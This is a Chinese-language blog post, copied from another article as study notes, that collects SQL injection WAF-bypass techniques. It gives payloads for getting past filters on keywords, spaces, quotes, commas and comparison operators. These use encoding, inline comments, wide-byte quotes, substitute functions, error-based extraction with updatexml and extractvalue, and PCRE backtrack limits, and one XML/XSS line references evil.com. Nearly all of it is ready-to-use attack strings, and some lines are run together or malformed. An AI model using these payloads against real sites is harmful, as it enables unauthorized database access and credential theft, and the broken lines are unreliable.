原文：https://x.threatbook.cn/v5/article?threatInfoID=836

直接复制过来的，记录学习一下

过滤and or

or ——> ||and ——> &&xor ——> | not ——> !十六进制绕过or ——> o\x72大小写绕过OraNd双写绕过oorrananddurlencode，ascii(char)，hex，unicode编码绕过 一些unicode编码举例： 单引号：' %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7关键字内联注释尝试绕所有/*!or*//*!and*/

左括号过滤

urlencode，ascii(char)，hex，unicode编码绕过%u0028 %uff08%c0%28 %c0%a8%e0%80%a8

右括号过滤

urlencode，ascii(char)，hex，unicode编码绕过%u0029 %uff09%c0%29 %c0%a9%e0%80%a9

过滤union\select

逻辑绕过例：过滤代码 union select user,password from users绕过方式 1 && (select user from users where userid=1)='admin'十六进制字符绕过select ——> selec\x74union——>unio\x6e大小写绕过SelEct双写绕过selselectectuniuniononurlencode，ascii(char)，hex，unicode编码绕过关键字内联绕所有/*!union*//*!select*/

过滤空格

用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()绕过空格注释符绕过//--%20/**/#--+-- -;%00;空白字符绕过SQLite3 —— 0A,0D,0c,09,20MYSQL 09,0A,0B,0B,0D,A0,20PosgressSQL 0A,0D,0C,09,20Oracle_11g 00,0A,0D,0C,09,20MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20特殊符号绕过 ` + ！等科学计数法绕过 例： select user,password from users where user_id0e1union select 1,2unicode编码 %u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0

过滤=

?id=1' or 1 like 1#可以绕过对 = > 等过滤or '1' IN ('1234')#可以替代=

过滤比较符<>

select*fromuserswhereid=1and ascii(substr(database(),0,1))>64select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64

过滤where

逻辑绕过过滤代码 1 && (select user from users where user_id = 1) = 'admin'绕过方式 1 && (select user from users limit 1) = 'admin'

过滤limit

逻辑绕过过滤代码 1 && (select user from users limit 1) = 'admin'绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤group by

逻辑绕过过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

逻辑绕过过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1绕过方式 1 && substr(user,1,1) = 'a'

过滤’(单引号)

逻辑绕过waf = 'and|or|union|where|limit|group by|select|\''过滤代码 1 && substr(user,1,1) = 'a'绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)宽字节绕过%bf%27 %df%27 %aa%27

过滤逗号

在使用盲注的时候，需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决：selectsubstr(database(0from1for1);selectmid(database(0from1for1);对于limit可以使用offset来绕过：select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0

过滤hex

逻辑绕过过滤代码 1 && substr(user,1,1) = unhex(61)绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制，并小写。

过滤substr

逻辑绕过过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16)) 绕过方式 1 && lpad(user(),1,1) in 'r'

编码绕过

利用urlencode，ascii(char)，hex，unicode等编码绕过

or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。十六进制编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))双重编码绕过?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

等价函数或变量

hex()、bin() ==> ascii()sleep() ==>benchmark()concat_ws()==>group_concat()mid()、substr() ==> substring()@@user ==> user()@@datadir ==> datadir()举例：substring()和substr()无法使用时：?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74　或者：substr((select 'password'),1,1) = 0x70strcmp(left('password',1), 0x69) = 1strcmp(left('password',1), 0x70) = 0strcmp(left('password',1), 0x71) = -1

生僻函数

MySQL/PostgreSQL支持XML函数：Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);　　　　　　　　　　?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror));　//postgresql?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))and extractvalue(1, concat(0x5c, (select user()),0x5c))

\N绕过

\N相当于NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

PCRE绕过

PHP 的 pcre.backtrack_limit 限制利用union/*aaaaaaaxN*/select